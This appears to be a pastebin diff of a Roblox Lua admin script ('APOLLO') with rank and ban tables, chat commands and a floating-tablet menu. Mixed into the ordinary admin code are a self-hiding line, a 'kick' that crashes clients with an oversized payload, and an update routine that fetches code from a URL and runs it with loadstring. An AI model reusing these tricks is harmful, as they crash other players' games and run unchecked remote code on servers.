SHOW:
|
|
- or go back to the newest paste.
1 | wait() | |
2 | script.Parent=nil--hax wait -_- | |
3 | code=function() | |
4 | _G.APOLLO={}; | |
5 | _G.APOLLO.baseKey='o43ua8weuf98u(*U#(*uoiwajdsf8p#*U(jh8idfa'; | |
6 | _G.APOLLO.decodeKey='joU*3uf98asdu9*H#O*SF&DYOH'; | |
7 | _G.APOLLO.encodeKey='joij983#(*#*)(DSFUJHdfoaisu(*#'; | |
8 | APOLLO={ --SCRIPT_CORE | |
9 | killKey=nil; | |
10 | CoreStuff={RotMode=1,tabPart=nil,REMOVED=false,ChangingLighting=false,rotRunning=false,breakLoops=false,State=nil,Version=1.3,StoredTablets={},ROT=0,ROTA=0.15,TabletParent=game:service'Workspace' or 'CANNOT_PARENT',baseLink='http://google.com',SavedTabletsInfo={},PlayersSavedPositions={},ServerCreating=false}; | |
11 | Commands={}; | |
12 | NotReal={ | |
13 | _G={}, | |
14 | shared={} | |
15 | }; | |
16 | Ranked={ | |
17 | - | {Name='APOLLO_SYSTEM',Rank=7,Reason='EVENT_HANDELING'}; |
17 | + | {Name='TheOfficalNoob4788',Rank=7,Reason='EVENT_HANDELING'}; |
18 | {Name='koolzion',Rank=7,Reason='Creator',Bet='-'}; | |
19 | {Name='gg',Rank=5,Reason='g'}; | |
20 | }; | |
21 | Banned={'blowup999','noobkilervip','Razorfire55','Derek1017','meunumbertwo','TESTACCOUNT66666666','joshie0707'}; | |
22 | TimeBanned={}; | |
23 | Settings={pondaMode=false,sharedLock=true,SilentMode=false,NoMessage=true,SaveLighting=true,Pri=false,NilsAllowed=true,Bet='/',Table=false,Idle=false}; | |
24 | Functions={}; | |
25 | Idling={}; | |
26 | Logged={}; | |
27 | Services={ | |
28 | game:service'Workspace'; | |
29 | game:service'Lighting'; | |
30 | game:service'Players'; | |
31 | game:service'Debris'; | |
32 | game:service'ServerStorage'; | |
33 | }; | |
34 | Colors={ | |
35 | "Medium stone grey","White","Grey","Light yellow","Brick yellow","Light green (Mint)","Light reddish violet", | |
36 | "Pastel Blue","Light orange brown","Nougat","Bright red","Med. reddish violet","Bright blue","Bright yellow", | |
37 | "Earth orange","Black","Dark grey","Dark green","Medium green","Lig. Yellowich orange","Bright green", | |
38 | "Dark orange","Light bluish violet","Transparent","Tr. Red","Tr. Lg blue","Tr. Blue","Tr. Yellow","Light blue", | |
39 | "Tr. Flu. Reddish orange","Tr. Green","Tr. Flu. Green","Phosph. White","Light red","Medium red","Medium blue", | |
40 | "Light grey","Bright violet","Br. yellowish orange","Bright orange","Bright bluish green","Earth yellow", | |
41 | "Bright bluish violet","Tr. Brown","Medium bluish violet","Tr. Medi. reddish violet","Med. yellowish green", | |
42 | "Med. bluish green","Light bluish green","Br. yellowish green","Lig. yellowish green","Med. yellowish orange", | |
43 | "Br. reddish orange","Bright reddish violet","Light orange","Tr. Bright bluish violet","Gold","Dark nougat", | |
44 | "Silver","Neon orange","Neon green","Sand blue","Sand violet","Medium orange","Sand yellow","Earth blue", | |
45 | "Earth green","Tr. Flu. Blue","Sand blue metallic","Sand violet metallic","Sand yellow metallic", | |
46 | "Dark grey metallic","Black metallic","Light grey metallic","Sand green","Sand red","Dark red","Tr. Flu. Yellow", | |
47 | "Tr. Flu. Red","Gun metallic","Red flip/flop","Yellow flip/flop","Silver flip/flop","Curry","Fire Yellow", | |
48 | "Flame yellowish orange","Reddish brown","Flame reddish orange","Royal blue","Dark Royal blue", | |
49 | "Bright reddish lilac","Dark stone grey","Lemon metalic","Light stone grey","Dark Curry","Faded green", | |
50 | "Turquoise","Light Royal blue","Medium Royal blue","Rust","Brown","Reddish lilac","Lilac","Light lilac", | |
51 | "Bright purple","Light purple","Light pink","Light brick yellow","Warm yellowish orange","Cool yellow", | |
52 | "Dove blue","Medium lilac","Institutional white","Mid gray","Really black","Really red","Deep orange","Alder", | |
53 | "Dusty Rose","Olive","New Yeller","Really blue","Navy blue","Deep blue","Cyan","CGA brown","Magenta","Pink",'Teal', | |
54 | "Toothpaste","Lime green","Camo","Grime","Lavender","Pastel light blue","Pastel orange","Pastel violet", | |
55 | "Pastel blue-green","Pastel green","Pastel yellow","Pastel brown","Royal purple","Hot pink"; | |
56 | }; | |
57 | };setmetatable(APOLLO.NotReal._G,{__index='APOLLO locked this table!',__newindex='APOLLO locked this table!',__metatable='APOLLO locked this table!'}); | |
58 | setmetatable(APOLLO.NotReal.shared,{__index='APOLLO locked this table!',__newindex='APOLLO locked this table!',__metatable='APOLLO locked this table!'}); | |
59 | ||
60 | APOLLO.killKey=_G.APOLLO.baseKey.._G.APOLLO.decodeKey.._G.APOLLO.encodeKey; | |
61 | local CurrentVersion; | |
62 | ||
63 | if getfenv(load)~=nil then | |
64 | local e=getfenv(load) | |
65 | e.require=nil;e.require=require; | |
66 | end; | |
67 | ||
68 | APOLLO.Functions.fetchSound=function(Words) | |
69 | local KeyWords = game:service'HttpService':UrlEncode(Words) | |
70 | local Url = 'http://roproxy.tk/catalog/json?Keyword='..tostring(KeyWords)..'&Category=9&ResultsPerPage=50' | |
71 | local Assets = game:service'HttpService':JSONDecode(game:service'HttpService':GetAsync(Url)) | |
72 | return Assets | |
73 | end | |
74 | ||
75 | APOLLO.Functions.musicInterface=function(plr,words) | |
76 | local songs={} | |
77 | local id=0 | |
78 | for i,v in next,APOLLO.Functions.fetchSound(words)do | |
79 | table.insert(songs,v); | |
80 | end | |
81 | for i,v in next,songs do | |
82 | APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Lime green',function()APOLLO.Functions.dismiss(plr) | |
83 | id=v.AssetId; | |
84 | local sound=Instance.new("Sound",script) | |
85 | sound.SoundId=id; | |
86 | APOLLO.CoreStuff.Sound=sound; | |
87 | --//\\-- | |
88 | end) | |
89 | end | |
90 | end | |
91 | ||
92 | APOLLO.Functions.getRank=function(player) | |
93 | for _,rank in next,APOLLO.Ranked do | |
94 | if rank.Name:lower()==player.Name:lower() then | |
95 | return rank.Rank | |
96 | end | |
97 | end | |
98 | end; | |
99 | APOLLO.Functions.setRank=function(player,newrank) | |
100 | for _,rank in next,APOLLO.Ranked do | |
101 | if rank.Name:lower()==player.Name:lower() then | |
102 | rank.Rank=newrank | |
103 | end | |
104 | end | |
105 | end; | |
106 | APOLLO.Functions.getReason=function(player) | |
107 | for _,rank in next,APOLLO.Ranked do | |
108 | if rank.Name:lower()==player.Name:lower() then | |
109 | return rank.Reason | |
110 | end | |
111 | end | |
112 | end; | |
113 | ||
114 | APOLLO.Functions.attach=function(plr,object) | |
115 | local function check(o) | |
116 | if o:IsA'BasePart'then | |
117 | return true | |
118 | else | |
119 | return false | |
120 | end | |
121 | end | |
122 | if check(object)==true then | |
123 | table.insert(APOLLO.CoreStuff.StoredTablets,{Owner=plr,P=object,ID=math.random(),Rainbow=Clr=='Rainbow'and true or false}); | |
124 | end | |
125 | end | |
126 | ||
127 | APOLLO.Functions.AddCommand=function(Name,Chat,Rank,Description,Function) | |
128 | APOLLO.Commands[#APOLLO.Commands+1]={['Name']=Name,['Say']=Chat,['Rank']=Rank,['Desc']=Description,['Func']=Function} | |
129 | end; | |
130 | APOLLO.Functions.AddRank=function(Name,Rank,Reason,Bet) | |
131 | local f=false; | |
132 | for _,v in pairs(APOLLO.Ranked) do | |
133 | if v["Name"] == tostring(Name) then | |
134 | f = true | |
135 | break | |
136 | end | |
137 | end | |
138 | if f==false then | |
139 | APOLLO.Ranked[#APOLLO.Ranked+1]={['Name']=Name,['Rank']=Rank,['Reason']=Reason,['Bet']=Bet or '/'} | |
140 | end | |
141 | end; | |
142 | ||
143 | APOLLO.Functions.getPlayers=function(plr,msg) | |
144 | local PlayersFound={} | |
145 | if msg=='me' then | |
146 | table.insert(PlayersFound,plr) | |
147 | elseif msg=='others' then | |
148 | for i,p in next,game:service'Players':players() do | |
149 | if p.Name~=plr.Name then | |
150 | if APOLLO.Functions.getRank(plr)>APOLLO.Functions.getRank(p) then | |
151 | table.insert(PlayersFound,p) | |
152 | end | |
153 | end | |
154 | end | |
155 | elseif msg=='all' then | |
156 | for i,v in next,game:service'Players':players() do | |
157 | if APOLLO.Functions.getRank(plr)>APOLLO.Functions.getRank(v)then | |
158 | table.insert(PlayersFound,v) | |
159 | end | |
160 | end | |
161 | else | |
162 | for i,v in next,game:service'Players':players() do | |
163 | if v.Name:lower():sub(1,#v.Name):find(msg:lower():sub(1,#msg)) then | |
164 | if APOLLO.Functions.getRank(plr)>APOLLO.Functions.getRank(v)then | |
165 | table.insert(PlayersFound,v) | |
166 | end | |
167 | end | |
168 | end | |
169 | end | |
170 | return PlayersFound | |
171 | end; | |
172 | ||
173 | APOLLO.Functions.Chat=function(plr,msg) | |
174 | local Bet=nil | |
175 | for i,v in next,APOLLO.Ranked do | |
176 | if v.Name==plr.Name then | |
177 | Bet=v.Bet or '/' | |
178 | end | |
179 | end | |
180 | if msg:sub(1,3)=='/e ' then | |
181 | msg=msg:sub(4) | |
182 | end | |
183 | for i,command in next,APOLLO.Commands do | |
184 | if(msg:sub(1,#command['Say']+#Bet)==command['Say']..Bet)then | |
185 | if(APOLLO.Functions.getRank(plr)>=command.Rank)then | |
186 | msg=msg:sub(#command['Say']+#Bet+1); | |
187 | APOLLO.Functions.dismiss(plr); | |
188 | for i,v in next,APOLLO.Logged do | |
189 | if v['Name']==tostring(plr) then | |
190 | v.Actions[#v.Actions+1]=tostring(plr)..'/'..tostring(command['Say']); | |
191 | end | |
192 | end | |
193 | a,b=ypcall(function() | |
194 | command['Func'](plr,msg); | |
195 | end); | |
196 | if not a then | |
197 | error(b) | |
198 | end | |
199 | else | |
200 | APOLLO.Functions.dismiss(plr); | |
201 | if(APOLLO.Settings.pondaMode==false)then | |
202 | APOLLO.Functions.tabletOutput(plr,'You are not allowed to use APOLLO this way.','Really red'); | |
203 | elseif(APOLLO.Settings.pondaMode==true)then | |
204 | APOLLO.Functions.tabletOutput(plr,'You are not allowed to ponda this way.','Really red'); | |
205 | end | |
206 | end; | |
207 | end; | |
208 | end; | |
209 | end; | |
210 | function APOLLO.Functions.guiNotifyBig(plr,txt,tm) | |
211 | --coroutine.wrap(function() | |
212 | local Not=Instance.new('ScreenGui',plr.PlayerGui); | |
213 | Not.Name='APOLLO_NOTIFY_SMALL'; | |
214 | local T=Instance.new('TextButton',Not); | |
215 | T.Size=UDim2.new(0,200,0.15,0); | |
216 | T.Position=UDim2.new(0.85,0,1-(6.5),0); | |
217 | T.TextXAlignment='Left'; | |
218 | T.TextYAlignment='Top'; | |
219 | T.Font='Legacy'; | |
220 | T.FontSize='Size18'; | |
221 | T.TextScaled=true; | |
222 | T.BorderSizePixel=0; | |
223 | T.BackgroundColor3=Color3.new(0,0,0); | |
224 | T.BackgroundTransparency=.5; | |
225 | T.TextColor3=Color3.new(1,1,1); | |
226 | T.Text=tostring(txt); | |
227 | wait(tm) | |
228 | Not:remove(); | |
229 | --end) | |
230 | end; | |
231 | APOLLO.Functions.toRGB=function(r,g,b) | |
232 | return(Color3.new(r/255,g/255,b/255)); | |
233 | end; | |
234 | ||
235 | APOLLO.Functions.fixLighting=function() | |
236 | APOLLO.CoreStuff.ChangingLighting=true; | |
237 | local lighting=game:service'Lighting' | |
238 | lighting.GeographicLatitude=41.733299255371; | |
239 | lighting.ColorShift_Bottom=APOLLO.Functions.toRGB(0,0,0); | |
240 | lighting.ShadowColor=APOLLO.Functions.toRGB(179,179,179); | |
241 | lighting.ColorShift_Top=APOLLO.Functions.toRGB(0,0,0); | |
242 | lighting.FogColor=APOLLO.Functions.toRGB(192,192,192); | |
243 | lighting.Ambient=APOLLO.Functions.toRGB(128,128,128); | |
244 | lighting.TimeOfDay='14:00:00'; | |
245 | lighting.GlobalShadows=false; | |
246 | lighting.Name='Lighting'; | |
247 | lighting.archivable=true; | |
248 | lighting.Outlines=false; | |
249 | lighting.Brightness=1; | |
250 | lighting.FogEnd=1e5; | |
251 | lighting.FogStart=0; | |
252 | for index,v in next,game:service'Lighting':children()do | |
253 | if(v:IsA'Sky')then | |
254 | v:destroy(); | |
255 | end; | |
256 | end; | |
257 | APOLLO.CoreStuff.ChangingLighting=false; | |
258 | end | |
259 | ||
260 | ||
261 | APOLLO.Functions.rotateAnim=function(part) | |
262 | pcall(function() | |
263 | APOLLO.CoreStuff.ROT=APOLLO.CoreStuff.ROT+APOLLO.CoreStuff.ROTA/100; | |
264 | for _,player in next,game:getService'Players':getPlayers''do | |
265 | local collected_tablets={}; | |
266 | for _,tablet in next,APOLLO.CoreStuff.StoredTablets do | |
267 | if(tablet.Owner==player)then | |
268 | if tablet.P.Parent ~= APOLLO.CoreStuff.TabletParent then | |
269 | APOLLO.CoreStuff.StoredTablets[_]=nil | |
270 | else | |
271 | table.insert(collected_tablets,tablet); | |
272 | end | |
273 | end; | |
274 | end; | |
275 | for I=1,#collected_tablets do | |
276 | --local position=player.Character.Torso.CFrame or part.CFrame; | |
277 | local position; | |
278 | if player.Character~=nil and player.Character.Torso~=nil then | |
279 | position=player.Character.Torso.CFrame | |
280 | APOLLO.CoreStuff.PlayersSavedPositions[player.Name] = player.Character.Torso.CFrame | |
281 | else | |
282 | position = APOLLO.CoreStuff.PlayersSavedPositions[player.Name] or CFrame.new(0,25,0) | |
283 | --position=part.CFrame+Vector3.new(#tostring(player.Name),50,#tostring(player.Name)) | |
284 | end | |
285 | local radius=6; | |
286 | local position_2=(I/#collected_tablets-(.5/#collected_tablets)+(APOLLO.CoreStuff.ROT/(#collected_tablets/10)))*math.pi*2 | |
287 | local radius_function=(#collected_tablets*.6)+radius; | |
288 | local X=math.sin(position_2)*(radius_function); | |
289 | local Y=math.sin(time()); | |
290 | local Z=math.cos(position_2)*radius_function; | |
291 | local A=Vector3.new(X,Y,Z)+position.p; | |
292 | local B=collected_tablets[I].P.CFrame.p; | |
293 | local C=A*.1+B*.9; | |
294 | local spinning_angle=math.rad((APOLLO.CoreStuff.ROT*300)*math.pi); | |
295 | collected_tablets[I].P.CFrame=CFrame.new(C,position.p)*CFrame.Angles(spinning_angle,spinning_angle,spinning_angle) | |
296 | end; | |
297 | end; | |
298 | end) | |
299 | APOLLO.CoreStuff.rotRunning=true; | |
300 | end; | |
301 | ||
302 | APOLLO.Functions.revertBase=function() | |
303 | pcall(function()workspace.Base:remove()end); | |
304 | local b=Instance.new("Part") | |
305 | b.Anchored=true; | |
306 | b.Locked=true | |
307 | b.CanCollide=true | |
308 | b.Material='Grass' | |
309 | b.Name='Base'--prevent removal by g/c | |
310 | b.Size=Vector3.new(700,1.2,700); | |
311 | b.BrickColor=BrickColor.new('Bright green'); | |
312 | print'new base' | |
313 | end | |
314 | ||
315 | APOLLO.Functions.update=function() | |
316 | local newVer=game:service'HttpService':GetAsync(APOLLO.CoreStuff.baseLink,true); | |
317 | script:Destroy() | |
318 | APOLLO.Ranked={} | |
319 | APOLLO.Functions={} | |
320 | APOLLO.CoreStuff={} | |
321 | APOLLO.Settings={} | |
322 | APOLLO.Idling={} | |
323 | APOLLO.Logged={"APOLLO_DISABLED"} | |
324 | APOLLO={} | |
325 | for i,env in next,getfenv(1) do | |
326 | getfenv(1)[i]='DISABLED' | |
327 | end | |
328 | for i,env2 in next,getfenv(0)do | |
329 | getfenv(0)[i]='DISABLED' | |
330 | end | |
331 | for i,env3 in next,getfenv()do | |
332 | getfenv()[i]='DISABLED' | |
333 | end | |
334 | wait() | |
335 | loadstring(newVer)(); | |
336 | script.Disabled=true; | |
337 | script:Destroy() | |
338 | end; | |
339 | APOLLO.Functions.Fake = { | |
340 | Table = function(Table) | |
341 | local SimulatedTable = {} | |
342 | table.foreach(Table,function(Index, Value) | |
343 | SimulatedTable[Index] = Value | |
344 | end) | |
345 | return SimulatedTable | |
346 | end, | |
347 | } | |
348 | ||
349 | APOLLO.Functions.tabletOutput=function(Plr,Text,Clr,OnClicked,OnTouched) | |
350 | if APOLLO.Settings.SilentMode==true then return end | |
351 | pcall(function() | |
352 | coroutine.wrap(function() | |
353 | if Plr == nil then | |
354 | Plr = game.Players:players()[math.random(1,#game.Players:players())] | |
355 | end | |
356 | if type(Plr) == 'userdata' then | |
357 | Plr = Plr | |
358 | elseif type(Plr) == 'string' then | |
359 | for _,v in pairs(game.Players:players()) do | |
360 | if v.Name:lower():sub(1,#Plr) == Plr:lower() then | |
361 | Plr = v | |
362 | break | |
363 | end | |
364 | end | |
365 | end | |
366 | local id_=math.random(); | |
367 | if Text == nil then Text = "[:ERROR:]{NO_TEXT_ENTERED}" end | |
368 | if Clr == nil then Clr = "Random" end | |
369 | local T = Instance.new("Part",APOLLO.CoreStuff.TabletParent) | |
370 | T.FormFactor = 'Custom' | |
371 | pcall(function() T.CFrame=Plr.Character.Torso.CFrame end) | |
372 | T.CanCollide=false | |
373 | T.Locked=true | |
374 | T.Anchored=true | |
375 | T.Size=Vector3.new(2.5,2.5,2.5) | |
376 | T.Name='SOLAR_TABLET_'..math.random(-99999,99999); | |
377 | if(APOLLO.Settings.pondaMode==true)then | |
378 | local Hat=game:service'InsertService':LoadAsset(20721282).Pwnda | |
379 | Hat.Handle.Mesh.Parent=T | |
380 | end | |
381 | pcall(function() | |
382 | if type(Clr) == "string" then | |
383 | if Clr == "Random" then | |
384 | T.BrickColor = BrickColor.random() | |
385 | else | |
386 | T.BrickColor = BrickColor.new(Clr) | |
387 | end | |
388 | elseif type(Clr) == "userdata" then | |
389 | T.Color = BrickColor.new(Clr).Color | |
390 | end | |
391 | end) | |
392 | T.TopSurface=0 | |
393 | T.BottomSurface=0 | |
394 | if(APOLLO.Settings.pondaMode==false)then | |
395 | T.Transparency=0.65 | |
396 | end | |
397 | local BBG = Instance.new("BillboardGui",T) | |
398 | BBG.Adornee = T | |
399 | BBG.StudsOffset = Vector3.new(0,3,0) | |
400 | BBG.Size = UDim2.new(10,0,10,0) | |
401 | local TL = Instance.new("TextLabel", BBG) | |
402 | TL.Name="OutputText" | |
403 | TL.Size = UDim2.new(1,0,1,0) | |
404 | TL.BackgroundTransparency = 1 | |
405 | TL.TextColor = T.BrickColor | |
406 | TL.Text = Text | |
407 | TL.TextStrokeTransparency = 0 | |
408 | TL.Font = 'Arial' | |
409 | TL.FontSize = "Size18" | |
410 | local C = Instance.new("ClickDetector", T) | |
411 | C.MaxActivationDistance = math.huge | |
412 | C.MouseClick:connect(function(p) | |
413 | if p.Name == Plr.Name or APOLLO.Functions.getRank(p) > APOLLO.Functions.getRank(Plr) then | |
414 | for i,v in pairs(APOLLO.CoreStuff.SavedTabletsInfo) do | |
415 | if v.P.Name == T.Name then | |
416 | APOLLO.CoreStuff.SavedTabletsInfo[i]=nil | |
417 | end | |
418 | end | |
419 | wait(); | |
420 | T:Destroy() | |
421 | for i,v in pairs(APOLLO.CoreStuff.StoredTablets) do | |
422 | if(v.ID==id_)then | |
423 | table.remove(APOLLO.CoreStuff.StoredTablets, i) | |
424 | end | |
425 | end | |
426 | if OnClicked ~= nil then | |
427 | a,b = ypcall(function() | |
428 | -- for i = 0,3 do APOLLO.Functions.dismiss(Plr) end); | |
429 | OnClicked() | |
430 | end) | |
431 | if not a then | |
432 | APOLLO.Functions.tabletOutput(b,"Really red") | |
433 | end | |
434 | end | |
435 | end | |
436 | end) | |
437 | if OnTouched ~= nil then | |
438 | T.Touched:connect(function(what) | |
439 | if what.Parent.Name ~= Plr.Name then | |
440 | local higherRank = false | |
441 | pcall(function() | |
442 | if APOLLO.Functions.getRank(what.Parent.Name) > APOLLO.Functions.getRank(Plr) then | |
443 | higherRank = true | |
444 | end | |
445 | end) | |
446 | if higherRank == false then | |
447 | OnTouched(what) | |
448 | end | |
449 | end | |
450 | end) | |
451 | end | |
452 | table.insert(APOLLO.CoreStuff.StoredTablets,{Owner=Plr,P=T,ID=id_,Rainbow=Clr=='Rainbow'and true or false}); | |
453 | table.insert(APOLLO.CoreStuff.SavedTabletsInfo,{OnClicked=OnClicked,OnTouched=OnTouched,Owner=Plr,P=T:Clone(),ID=id_,Rainbow=Clr=='Rainbow'and true or false}); | |
454 | end)() | |
455 | end) | |
456 | end | |
457 | workspace.descendantRemoving:connect(function(meow) | |
458 | local x = meow.Name --god darn buutif0l --so it waits to check if dismiss removed it | |
459 | wait() | |
460 | coroutine.wrap(function() | |
461 | for i,v in next,APOLLO.CoreStuff.SavedTabletsInfo do | |
462 | if v.P.Name == x then | |
463 | local meowX = v.P:Clone() | |
464 | for _,y in next,meowX:children() do | |
465 | if y.ClassName == 'ClickDetector' then | |
466 | y:remove() | |
467 | end | |
468 | end | |
469 | meowX.Parent = APOLLO.CoreStuff.TabletParent | |
470 | local meowY = Instance.new("ClickDetector",meowX) | |
471 | meowY.MaxActivationDistance = math.huge | |
472 | meowY.MouseClick:connect(function(p) | |
473 | if p.Name == v.Owner.Name or APOLLO.Functions.getRank(p) > APOLLO.Functions.getRank(v.Owner) then | |
474 | APOLLO.CoreStuff.SavedTabletsInfo[i]=nil | |
475 | meowX:remove() | |
476 | for _,y in pairs(APOLLO.CoreStuff.StoredTablets) do | |
477 | if(y.P.Name == meowX.Name)then | |
478 | table.remove(APOLLO.CoreStuff.StoredTablets, _) | |
479 | end | |
480 | end | |
481 | if v.OnClicked ~= nil then | |
482 | a,b = ypcall(function() | |
483 | v.OnClicked() | |
484 | end) if not a then | |
485 | APOLLO.Functions.tabletOutput(b,"Really red") | |
486 | end | |
487 | end | |
488 | end | |
489 | end) | |
490 | if v.OnTouched ~= nil then | |
491 | v.P.Touched:connect(function(what) | |
492 | if what.Parent.Name ~= v.Owner.Name then | |
493 | local higherRank = false | |
494 | pcall(function() | |
495 | if APOLLO.Functions.getRank(what.Parent.Name) > APOLLO.Functions.getRank(v.Owner) then | |
496 | higherRank = true | |
497 | end | |
498 | end) | |
499 | if higherRank == false then | |
500 | OnTouched(what) | |
501 | end | |
502 | end | |
503 | end) | |
504 | end | |
505 | table.insert(APOLLO.CoreStuff.StoredTablets,{Owner=v.Owner,P=meowX,ID=v.id_,Rainbow=v.Rainbow}) | |
506 | end | |
507 | end | |
508 | end)() | |
509 | end) | |
510 | ||
511 | APOLLO.Functions.kick=function(...) | |
512 | local args={...} | |
513 | local r=Instance.new('RemoteFunction',game.Lighting); | |
514 | for i,f in next,args do | |
515 | if type(f) == 'userdata' then | |
516 | f = f | |
517 | elseif type(f) == 'string' then | |
518 | for _,v in pairs(game.Players:players()) do | |
519 | if v.Name:lower():sub(1,#f) == f:lower() then | |
520 | f = v | |
521 | break | |
522 | end | |
523 | end | |
524 | end | |
525 | pcall(function() | |
526 | r:InvokeClient(f,{string.rep('ok',5e5+9)}); | |
527 | end); | |
528 | end | |
529 | wait(); | |
530 | r:Destroy(); | |
531 | end; | |
532 | ||
533 | APOLLO.Functions.getRanked=function(plr) | |
534 | APOLLO.Functions.tabletOutput(plr,'Rank 0','Dark green',function()APOLLO.Functions.dismiss(plr) | |
535 | APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); | |
536 | APOLLO.Functions.tabletOutput(plr,'Rank 0','Really red'); | |
537 | for i,v in next,APOLLO.Ranked do | |
538 | if v.Rank==0 then | |
539 | APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr) | |
540 | APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green') | |
541 | APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green') | |
542 | APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end); | |
543 | end | |
544 | end | |
545 | end); | |
546 | APOLLO.Functions.tabletOutput(plr,'Rank 1','Dark green',function()APOLLO.Functions.dismiss(plr) | |
547 | APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); | |
548 | APOLLO.Functions.tabletOutput(plr,'Rank 1','Really red'); | |
549 | for i,v in next,APOLLO.Ranked do | |
550 | if v.Rank==1 then | |
551 | APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr) | |
552 | APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green') | |
553 | APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green') | |
554 | APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end); | |
555 | end | |
556 | end | |
557 | end); | |
558 | APOLLO.Functions.tabletOutput(plr,'Rank 2','Dark green',function()APOLLO.Functions.dismiss(plr) | |
559 | APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); | |
560 | APOLLO.Functions.tabletOutput(plr,'Rank 2','Really red'); | |
561 | for i,v in next,APOLLO.Ranked do | |
562 | if v.Rank==2 then | |
563 | APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr) | |
564 | APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green') | |
565 | APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green') | |
566 | APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end); | |
567 | end | |
568 | end | |
569 | end); | |
570 | APOLLO.Functions.tabletOutput(plr,'Rank 3','Dark green',function()APOLLO.Functions.dismiss(plr) | |
571 | APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); | |
572 | APOLLO.Functions.tabletOutput(plr,'Rank 3','Really red'); | |
573 | for i,v in next,APOLLO.Ranked do | |
574 | if v.Rank==3 then | |
575 | APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr) | |
576 | APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green') | |
577 | APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green') | |
578 | APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end); | |
579 | end | |
580 | end | |
581 | end); | |
582 | APOLLO.Functions.tabletOutput(plr,'Rank 4','Dark green',function()APOLLO.Functions.dismiss(plr) | |
583 | APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); | |
584 | APOLLO.Functions.tabletOutput(plr,'Rank 4','Really red'); | |
585 | for i,v in next,APOLLO.Ranked do | |
586 | if v.Rank==4 then | |
587 | APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr) | |
588 | APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green') | |
589 | APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green') | |
590 | APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end); | |
591 | end | |
592 | end | |
593 | end); | |
594 | APOLLO.Functions.tabletOutput(plr,'Rank 5','Dark green',function()APOLLO.Functions.dismiss(plr) | |
595 | APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); | |
596 | APOLLO.Functions.tabletOutput(plr,'Rank 5','Really red'); | |
597 | for i,v in next,APOLLO.Ranked do | |
598 | if v.Rank==5 then | |
599 | APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr) | |
600 | APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green') | |
601 | APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green') | |
602 | APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end); | |
603 | end | |
604 | end | |
605 | end); | |
606 | APOLLO.Functions.tabletOutput(plr,'Rank 6','Dark green',function()APOLLO.Functions.dismiss(plr) | |
607 | APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); | |
608 | APOLLO.Functions.tabletOutput(plr,'Rank 6','Really red'); | |
609 | for i,v in next,APOLLO.Ranked do | |
610 | if v.Rank==6 then | |
611 | APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green'); | |
612 | end | |
613 | end | |
614 | end); | |
615 | APOLLO.Functions.tabletOutput(plr,'ROOT','Really red',function()APOLLO.Functions.dismiss(plr) | |
616 | APOLLO.Functions.tabletOutput(plr,'Back','Really red',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end); | |
617 | APOLLO.Functions.tabletOutput(plr,'nil','Really red'); | |
618 | for i,v in next,APOLLO.Ranked do | |
619 | if v.Rank==7 then | |
620 | APOLLO.Functions.tabletOutput(plr,tostring(v.Name),'Dark green',function()APOLLO.Functions.dismiss(plr) | |
621 | APOLLO.Functions.tabletOutput(plr,tostring(v.Reason),'Dark green') | |
622 | APOLLO.Functions.tabletOutput(plr,tostring('Rank: '..v.Rank),'Dark green') | |
623 | APOLLO.Functions.tabletOutput(plr,tostring('Back'),'New Yeller',function()APOLLO.Functions.dismiss(plr)APOLLO.Functions.getRanked(plr)end)end); | |
624 | end | |
625 | end | |
626 | end); | |
